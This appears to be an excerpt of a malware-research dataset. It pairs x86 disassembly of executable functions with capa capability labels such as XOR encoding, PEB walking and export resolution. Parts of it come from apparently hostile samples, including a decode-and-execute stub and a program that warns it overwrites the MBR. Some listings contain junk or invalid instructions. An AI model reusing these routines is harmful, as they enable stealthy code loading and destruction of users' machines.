joyce8/EMBER2024-capa huggingface dataset:
Function at 0x7733c4bf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0xffffffffffffffff
push esi
mov esi, esp
xor dword [esp - 0x43], esi
xor dword [esp - 0x45], esi
and dword [esi + 4], eax
pop esi
push 0
ja 0x7733c408
add ebx, 0
push ecx
call 0x7733c41d
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
add esp, 8
xor dword [esp], ebx
sub esp, 0x6b
mov dword [esp + 0x67], edx
add esp, 0x67
push ecx
push 0
xor dword [esp - 0x56], edx
xor edi, 0
add dword [esp], edi
push esi
mov ebx, 0x72d67113
sub ebx, dword [0x72d86952]
mov dword [ebp - 8], ebx
xchg esi, eax
push 0x72d86942
call fcn.77337ee7
xchg esi, eax
add esi, ebx
mov edx, dword [ebp + 8]
sub edx, ebx
call fcn.773373f5
mov edi, eax
mov eax, dword [esi + 8]
xor dword [esp - 0x69], edx
xor ebx, 0
xor eax, edi
cmp edx, eax
jb 0x7733c57b
mov eax, dword [esi + 0xc]
xor eax, edi
cmp edx, eax
ja 0x7733c57b
mov ecx, dword [esi + 0x10]
sub dword [esp - 0x34], ebx
xor ecx, edi
mov edx, dword [esi + 0x14]
xor edx, edi
shl edx, 2
add edx, 0x18
mov eax, dword [esi]
xor eax, edi
cmp eax, 1
je 0x7733c532
mov eax, 1
lock xchg dword [0x72d8694e], eax
push 0x3dd1fc71
call 0x7733c4bf
push esi
add esp, 8
cmp eax, 0
jne 0x7733c4a8
push edx
mov eax, edi
xor byte [esi + edx], al
inc edx
dec ecx
jne 0x7733c4ce
pop edx
mov eax, dword [esi + 0x14]
xor eax, edi
js 0x7733c4e3
cmp ecx, edx
cmp eax, 0
je 0x7733c508
mov dword [ebp - 4], eax
lea ecx, [esi + 0x18]
mov eax, dword [esi + ecx]
xor eax, edi
add eax, edx
add dword [esi + eax], ebx
add ecx, 4
dec dword [ebp - 4]
jne 0x7733c4f2
mov eax, 1
mov dword [esp - 0x1a], eax
push 0x8ae1b7eb
call fcn.7733c521
dec eax
loope 0x7733c524
invalid
xor eax, edi
mov dword [esi], eax
mov dword [0x72d8694e], 0
add edx, esi
mov dword [ebp + 4], edx
xchg dword [esp], esi
push ecx
lea ecx, [edi - 0x72d1f741]
mov ecx, esp
mov dword [ecx - 0x15], ebx
pop ecx
push esi
xor esi, esi
mov esi, esp
and dword [esi - 0x1d], ecx
pop esi
mov dword [esp], esi
jb 0x7733c558
xor edx, 0
add esp, 4
pop edi
pop ecx
pop edx
pop ebx
pop eax
leave
jmp 0x7733c56d
jmp 0x7733c578
ret 4
mov eax, dword [esi + 4]
xor eax, edi
add esi, eax
jmp 0x7733c466
Function at 0x773435e0
Capabilities:
Access peb ldr_data

Disassembly:
add esp, 8
and dword [esp], ebx
push ecx
push edx
push edi
push esi
or edi, 0xffffffff
not edi
add edi, dword [ebp + 8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov ecx, dword [eax + 0xc]
push ecx
xor edx, edx
mov ecx, dword [ecx]
cmp ecx, dword [esp]
je 0x773438b6
push ebp
push 0xffffffffffffffff
sub esp, 0x32
mov dword [esp + 0x2e], 0x72d735c6
add esp, 0x2e
sub esp, 4
mov dword [esp], 0x72d6a58c
push 0xffffffffffffffff
call fcn.7733a7e0
xchg edx, eax
and eax, 0
add eax, 0x75d46dc4
push ecx
and ecx, 0xcfb6d7ec
mov ecx, esp
mov dword [ecx - 0x54], esi
pop ecx
ja 0x7734364a
and eax, eax
xchg edx, eax
mov edx, dword [ecx + edx - 0x75d46dac]
call fcn.77343662
mov byte [0xee69f033], al
invalid
mov eax, ecx
pop esi
mov edi, dword [esp]
add esp, 4
pop edx
xor ecx, ecx
add ecx, 0xffffffff
and ecx, dword [esp]
xor ecx, 0
add esp, 4
pop ebx
mov esp, ebp
mov ebp, dword [esp]
add esp, 4
jno 0x773438aa
xor eax, 0
ret 4
xor ecx, ecx
jmp 0x7734387e
Function at 0x773530b0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x773530d2
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x773530d2
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x773530d2
ret
cmp word [ebx + 4], 0x14c
jne 0x773530d2
test word [ebx + 0x16], 2
je 0x773530d2
test word [ebx + 0x16], 0x100
je 0x773530d2
cmp word [ebx + 0x18], 0x10b
jne 0x773530d2
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x773530d2
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x7735315e
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x773530f2
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.7733a03d
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x773530d2
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8

Function at 0x7735315e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push ecx
lea esp, [esp - 0x10]
mov dword [esp + 0xc], edx
lea esp, [esp + 0xc]
sub esp, 4
mov dword [esp], 0x8b92e34e
mov dword [esp], edi
push esi
mov eax, dword [ebp + 8]
and ax, 0xf001
dec eax
cmp word [eax], 0x5a4d
jne 0x773530d2
mov ebx, dword [eax + 0x3c]
cmp ebx, 0xf08
ja 0x773530d2
add ebx, eax
cmp dword [ebx], 0x4550
jne 0x773530d2
ret
cmp word [ebx + 4], 0x14c
jne 0x773530d2
test word [ebx + 0x16], 2
je 0x773530d2
test word [ebx + 0x16], 0x100
je 0x773530d2
cmp word [ebx + 0x18], 0x10b
jne 0x773530d2
mov edx, dword [ebx + 0x78]
cmp edx, 0
je 0x773530d2
lea edx, [eax + edx]
mov edx, dword [edx + 0xc]
push 0xe1641d81
call 0x7735315e
adc al, 0xbd
mov dl, 3
cmp byte [ecx + 0x75ac5ffe], 0xa
jnp 0x773530f2
int1
salc
push edi
inc esp
add esp, 8
lea edx, [edx + eax]
mov ebx, eax
push edx
call fcn.7733a03d
xchg ebx, eax
cmp ebx, dword [ebp + 0xc]
jne 0x773530d2
sub esp, 0x3e
mov esi, dword [esp + 0x3e]
add esp, 0x42
pop edi
mov edx, dword [esp]
add esp, 4
pop ecx
pop ebx
leave
ret 8
Function at 0x77353215
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x7735326e
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x77353215
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x77353224
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x77758ec7
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x77353275
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.7733a0eb
cmp eax, dword [ebp + 0xc]
pop eax
je 0x77353314
add edi, 4
add eax, 2
dec ecx
jne 0x7735325a
call 0x773532c1
loope 0x773532b7
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x77353311
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x77353322
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x773532d5
cmp eax, ecx
ja 0x773532d5
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x7735335f
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x77353355
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.7733a5ca
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x77353224
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x7735326e
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x77353215
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x77353224
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x77758ec7
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x77353275
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.7733a0eb
cmp eax, dword [ebp + 0xc]
pop eax
je 0x77353314
add edi, 4
add eax, 2
dec ecx
jne 0x7735325a
call 0x773532c1
loope 0x773532b7
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x77353311
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x77353322
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x773532d5
cmp eax, ecx
ja 0x773532d5
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x7735335f
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x77353355
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.7733a5ca
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x11bf7e0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0xc], 0
jmp 0x11bf805
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp + 0xc]
jae 0x11bf878
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 8]
xor ecx, edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 8]
shr eax, 8
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
jmp 0x11bf83a
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 8
jge 0x11bf86d
mov edx, dword [ebp - 0x10]
and edx, 1
neg edx
sbb edx, edx
neg edx
mov byte [ebp - 0x15], dl
mov eax, dword [ebp - 0x10]
shr eax, 1
mov dword [ebp - 0x10], eax
movzx ecx, byte [ebp - 0x15]
test ecx, ecx
je 0x11bf86b
mov edx, dword [ebp - 0x10]
xor edx, 0xedb88320
mov dword [ebp - 0x10], edx
jmp 0x11bf831
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x11bf7fc
mov eax, dword [ebp - 8]
not eax
mov esp, ebp
pop ebp
ret
Function at 0x401350
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2714c
call fcn.00403420
mov eax, dword [0x406004]
xor eax, esp
mov dword [esp + 0x27148], eax
push ebx
push esi
push edi
xor eax, eax
mov dword [esp + 0x3c], 0x10001
push eax
push eax
push eax
mov word [esp + 0x58], ax
lea eax, [esp + 0x48]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0x2c]
mov dword [esp + 0x54], 0x1f40
push eax
mov dword [esp + 0x5c], 0x1f40
mov dword [esp + 0x60], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
xor eax, eax
mov dword [esp + 0x14], 0x101
xor edi, edi
mov dword [esp + 0x10], eax
xor esi, esi
nop
mov ebx, eax
xor edx, edx
mov ecx, esi
not ebx
xor ecx, eax
add esi, 2
mov eax, edi
add edi, 9
div dword [esp + 0x14]
sub edx, ecx
mov ecx, dword [esp + 0x10]
mov eax, ecx
imul eax, ecx
and edx, eax
mov eax, ecx
shr eax, 8
or edx, eax
mov eax, ebx
imul edx, ecx
shr eax, 4
shr ebx, 9
and bl, 3
inc bl
and edx, eax
mov eax, ecx
shr eax, 0xc
and eax, 1
imul edx, eax
mov eax, ecx
shr eax, 0xe
and al, 3
movsx ecx, bl
inc al
movsx eax, al
imul ecx, eax
mov eax, dword [esp + 0x10]
movsx eax, al
shr edx, 1
and dl, 0x7f
movsx ecx, cl
imul ecx, eax
mov eax, dword [esp + 0x10]
and cl, 0x7f
add dl, cl
mov byte [esp + eax + 0x50], dl
inc eax
mov dword [esp + 0x10], eax
cmp esi, 0x4e200
jb 0x4013c0
lea eax, [esp + 0x50]
mov dword [esp + 0x20], 0x27100
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x1c]
push 0x20
push eax
push dword [esp + 0x20]
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x20]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [esp + 0x20]
push eax
push dword [esp + 0x20]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [esp + 0x18]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [esp + 0x27154]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040269e
mov esp, ebp
pop ebp
ret
Function at 0x402410
Capabilities:
Hide graphical window

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 1
push str.Warning
push str.This_overwrites_the_MBR_of_the_machine_and_makes_it_so_you_cant_use_the_computer_anymore._If_you_are_running_this_on_a_VM__please_make_a_snapshot__If_you_dont_want_your_MBR_overwritten__terminate_this_process_on_the_Task_Manager_idemeattedly__If_you_press_OK_or_Cancel__you_will_get_your_MBR_overwritten_at_the_end.
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
call fcn.00401f60
xor eax, eax
ret
Function at 0x1003a700
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1003a70f
pop dword [ebp - 0xc]
mov eax, 0xecaf1e9a
sub eax, 0xdcab778b
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x30d4fef0
add dword [ebp - 0x1c], 0x1d7d465b
mov dword [ebp - 0x18], 0x39fc667c
add dword [ebp - 0x18], 0xf836e5c9
mov dword [ebp - 0x14], 0x96240e73
add dword [ebp - 0x14], 0xb62835bb
mov dword [ebp - 0x10], 0x94b9061b
sub dword [ebp - 0x10], 0x94b9061b
lea eax, [ebp - 0x1c]
push eax
mov eax, 0xf69c3e28
add eax, 0x196c320c
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xed42a426
sub dword [ebp - 0x1c], 0x78d03ad0
mov dword [ebp - 0x18], 0xdc255018
sub dword [ebp - 0x18], 0x9ab8eea3
mov dword [ebp - 0x14], 0xc35ae750
add dword [ebp - 0x14], 0xa014851c
mov dword [ebp - 0x10], 0x86dcbbc4
add dword [ebp - 0x10], 0x7923443c
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x8e9f2424
sub eax, 0x7e96b400
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x41f14
push 0
call eax
mov ecx, 0x788236f8
sub ecx, 0x7881de04
xor edi, edi
add edi, eax
mov esi, 0x100b9000
add esi, dword [ebp - 0xc]
mov ebx, 0xed069517
add dword [ebp - 4], 0x49d8b416
mov edx, dword [esi]
sub dword [ebp - 8], ecx
xor edx, ebx
add dword [ebp - 4], 0xfc535b86
mov dword [edi], edx
sub dword [ebp - 8], 0x18f727d5
add edi, 0x243d1d21
add edi, 0xdbc2e2e3
add esi, 0xeb725b89
add esi, 0x148da47b
loop 0x1003a827
add eax, 0x419d216c
add eax, 0xbe643537
mov ebx, eax
add eax, 0xbec71f47
sub eax, 0xbec71f42
mov ecx, 0xd919f005
add ecx, 0x36e60ffb
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x1001a1e0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100cc50b
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x3c
push esi
mov eax, dword [0x100e4364]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [0x100f70f8]
test al, 1
jne 0x1001a32b
or eax, 1
mov dword [0x100f70f8], eax
mov dword [ebp - 4], 0
mov eax, 0x10
movaps xmm0, xmmword [0x100da590]
pxor xmm0, xmmword [0x100da6e0]
mov dword [ebp - 0x20], 0xeef1eef1
mov dword [ebp - 0x1c], 0x88ee8cf6
mov word [ebp - 0x18], 0xceff
movups xmmword [ebp - 0x30], xmm0
xor byte [ebp + eax - 0x30], 0xce
inc eax
cmp eax, 0x1a
jb 0x1001a264
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x38], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001a290
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.100204f0
mov byte [ebp - 4], 1
mov edx, dword [0x1010b9ec]
test edx, edx
je 0x1001a2b9
mov edx, dword [edx + 0x50]
jmp 0x1001a2bb
xor edx, edx
mov eax, dword [0x1010b9e4]
test eax, eax
je 0x1001a2c9
mov eax, dword [eax + 0x18]
jmp 0x1001a2cb
xor eax, eax
lea ecx, [ebp - 0x48]
push ecx
push eax
lea ecx, [ebp - 0x14]
call fcn.10019d20
mov eax, dword [ebp - 0x14]
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x34]
mov dword [0x100f70fc], eax
cmp ecx, 0x10
jb 0x1001a322
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001a313
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1001a313
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100c9dbc
mov eax, dword [0x100f70fc]
add esp, 8
mov dword [ebp - 4], 0xffffffff
jmp 0x1001a330
mov eax, dword [0x100f70fc]
test eax, eax
je 0x1001a338
mov ecx, esi
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x10020960
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100cc7a7
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0x100e4364]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov dword [ebp - 0x10], ecx
push 0x40c
call fcn.100c995d
mov ebx, eax
add esp, 4
mov dword [ebp - 0x18], ebx
mov dword [ebp - 4], 0
lea edi, [ebx + 0xc]
xorps xmm0, xmm0
mov ecx, edi
movq qword [ebx], xmm0
mov dword [ebx + 8], 0
mov dword [ebx + 4], 1
mov dword [ebx + 8], 1
mov dword [ebx], 0x100d7d10
mov eax, dword [esi]
push eax
mov dword [edi + 0xc], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x3c], 0
mov dword [edi + 0x40], 0
mov dword [edi + 0x44], 0
mov dword [edi + 0x48], 0
mov dword [edi + 0x4c], 0
mov dword [edi + 0x50], 0
mov dword [edi + 0x54], 0
mov dword [edi + 0x58], 0
mov dword [edi + 0x5c], 0
mov dword [edi + 0x60], 0
mov dword [edi + 0x64], 0
mov dword [edi + 0x68], 0
mov dword [edi + 0x6c], 0
mov dword [edi + 0x70], 0
mov dword [edi + 0x3b4], 0
mov dword [edi + 0x3b8], 0
mov dword [edi + 0x3bc], 0
mov byte [edi + 0x3c0], 0
mov dword [edi + 0x3c4], 0
mov word [edi + 0x3c8], 0
mov dword [edi + 0x3cc], 0
mov dword [edi + 0x3d0], 0
mov dword [edi + 0x3d4], 0
mov dword [edi + 0x3d8], 0
mov dword [edi + 0x3dc], 0
mov dword [edi + 0x3e0], 0
mov word [edi + 0x3f0], 0
call fcn.1001a350
mov eax, dword [ebp - 0x10]
xorps xmm0, xmm0
movq qword [eax], xmm0
mov dword [eax + 4], 0
mov dword [eax], edi
mov dword [eax + 4], ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10028360
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x100e4364]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x1002841c
cmp byte [esi + 0x3d], 0
je 0x1002841c
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x1002840a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x100283d1
sub eax, 1
je 0x100283d5
sub eax, 2
jne 0x1002840a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100c9941
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x100283f3
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1002840a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100c9941
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100c9941
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.100c9941
mov esp, ebp
pop ebp
ret
Function at 0x1002a1e0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100ccccd
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x68
mov eax, dword [0x100e4364]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x100f50f0], 0
je 0x1002a3bc
movss xmm0, dword [0x100e4818]
mulss xmm0, dword [0x100d9cd8]
push ecx
movss dword [ebp - 0x40], xmm0
fld dword [ebp - 0x40]
fstp dword [esp]
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
movss xmm0, dword [0x100d9b38]
xor eax, eax
fstp dword [ebp - 0x40]
cvttss2si ecx, dword [ebp - 0x40]
test ecx, ecx
cmovg eax, ecx
mov dword [ebp - 0x1c], eax
mov eax, dword [0x1010ba84]
divss xmm0, dword [eax + 0x14]
movss dword [ebp - 0x40], xmm0
fld dword [ebp - 0x40]
fstp dword [esp]
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
movaps xmm0, xmmword [0x100da690]
add esp, 4
movaps xmm2, xmmword [0x100da590]
fstp dword [ebp - 0x40]
cvttss2si eax, dword [ebp - 0x40]
mov byte [ebp - 0x48], 0xce
movups xmmword [ebp - 0x78], xmm0
mov dword [ebp - 0x18], eax
xor eax, eax
movaps xmm0, xmmword [0x100da260]
movups xmmword [ebp - 0x68], xmm0
movaps xmm0, xmmword [0x100da0d0]
movups xmmword [ebp - 0x58], xmm0
nop dword [eax]
movups xmm0, xmmword [ebp + eax - 0x78]
movaps xmm1, xmm2
pxor xmm1, xmm0
movups xmmword [ebp + eax - 0x78], xmm1
add eax, 0x10
cmp eax, 0x30
jb 0x1002a2c0
cmp eax, 0x31
jae 0x1002a2eb
nop
xor byte [ebp + eax - 0x78], 0xce
inc eax
cmp eax, 0x31
jb 0x1002a2e0
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x78]
lea ecx, [ebp - 0x3c]
call fcn.1002e2e0
add esp, 8
lea eax, [ebp - 0x3c]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x24]
mov ecx, 0x1010e168
push eax
call fcn.100ba600
mov eax, dword [0x100e4828]
mov edi, dword [ebp - 0x24]
sub eax, edi
mov ecx, dword [0x1010ba34]
sub eax, 0x14
mov esi, dword [ebp - 0x20]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], 0xa000a5ff
mov eax, dword [ecx]
push dword [ebp - 0x40]
mov eax, dword [eax + 0x38]
call eax
mov ecx, dword [0x1010ba34]
mov eax, dword [ecx]
mov edx, dword [eax + 0x40]
lea eax, [esi + 0xc]
mov esi, dword [ebp - 0x44]
push eax
lea eax, [esi + 0xa]
add eax, edi
push eax
push 0xa
push esi
call edx
mov edx, dword [0x100e4828]
lea eax, [ebp - 0x3c]
push 1
push eax
push ecx
mov eax, esp
add edx, 0xfffffff1
push 0xa
push edx
mov ecx, 0x1010e168
mov dword [eax], 0xe7000000
call fcn.100ba3b0
mov ecx, dword [ebp - 0x28]
cmp ecx, 0x10
jb 0x1002a3bc
mov edx, dword [ebp - 0x3c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1002a3b2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1002a3b2
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100c9dbc
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100c9941
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret